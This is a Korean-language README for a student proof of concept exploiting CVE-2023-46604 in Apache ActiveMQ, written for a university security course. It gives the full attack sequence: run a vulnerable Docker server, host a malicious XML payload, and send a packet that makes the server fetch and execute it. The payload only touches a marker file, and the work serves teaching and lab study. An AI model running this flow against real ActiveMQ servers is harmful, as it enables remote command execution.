
CVE-2023-46604에 대한 PoC로, UPB의 고급 사이버 보안 석사 과정 SPS 수업의 일환으로 작성되었습니다.
과제: SSP 과제 3 팀: RCE You Later 팀원: Banica Horia Alexandru, Comarlau Vlad-Constantin
저장소를 사용하여 PoC를 수행하는 비디오 링크: https://www.youtube.com/watch?v=vum4qTF4ygU
이 저장소는 CVE-2023-46604에 대한 완전한 기능의 개념 증명(PoC)을 포함합니다. 이 취약점을 통해 공격자는 취약한 Apache ActiveMQ 서버(버전 5.15.10)가 악의적인 XML 구성 파일을 역직렬화하도록 강제하여 임의의 셸 명령을 실행할 수 있습니다.
목표: 피해 서버 내에 pwned_by_ssp_team이라는 파일을 생성하여 우리가 제어권을 가지고 있음을 증명합니다.
익스플로잇을 실행하기 전에 다음이 설치되어 있는지 확인하세요:
vulnerable-env/: 피해 서버의 Docker 설정을 포함합니다.attacker/: 익스플로잇 스크립트와 악의적인 페이로드를 포함합니다.
exploit.py: 악의적인 패킷을 전송하는 Python 스크립트입니다.serve.py: XML 페이로드를 호스팅하는 간단한 HTTP 서버입니다.poc.xml: touch /tmp/pwned_by_ssp_team 명령을 포함하는 악의적인 구성 파일입니다.Docker를 사용하여 오래되고 취약한 버전의 ActiveMQ를 실행합니다.
vulnerable-env 폴더로 이동합니다:
cd vulnerable-env
docker-compose up -d
피해 서버가 우리로부터 명령을 다운로드해야 합니다. 이러한 명령을 호스팅하기 위해 작은 웹 서버를 설정합니다.
attacker 폴더로 이동합니다:
cd attacker
python3 serve.py
이제 취약점을 트리거하는 특정 네트워크 패킷을 전송합니다.
세 번째 터미널을 엽니다.
attacker 폴더로 이동합니다:
cd attacker
익스플로잇 스크립트를 실행합니다.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal을 네트워크 브리지의 게이트웨이(보통 172.17.0.1)로 바꾸세요. 위의 주소가 작동하지 않으면 다음과 같이 주소를 확인해 보세요: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'작동했나요? 컨테이너 내부에 파일이 생성되었는지 확인해 봅시다.
/tmp 폴더를 확인하는 이 명령을 실행합니다:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team이라는 파일이 표시되어야 합니다.취약한 컨테이너를 중지하고 제거하려면:
cd vulnerable-env
docker-compose down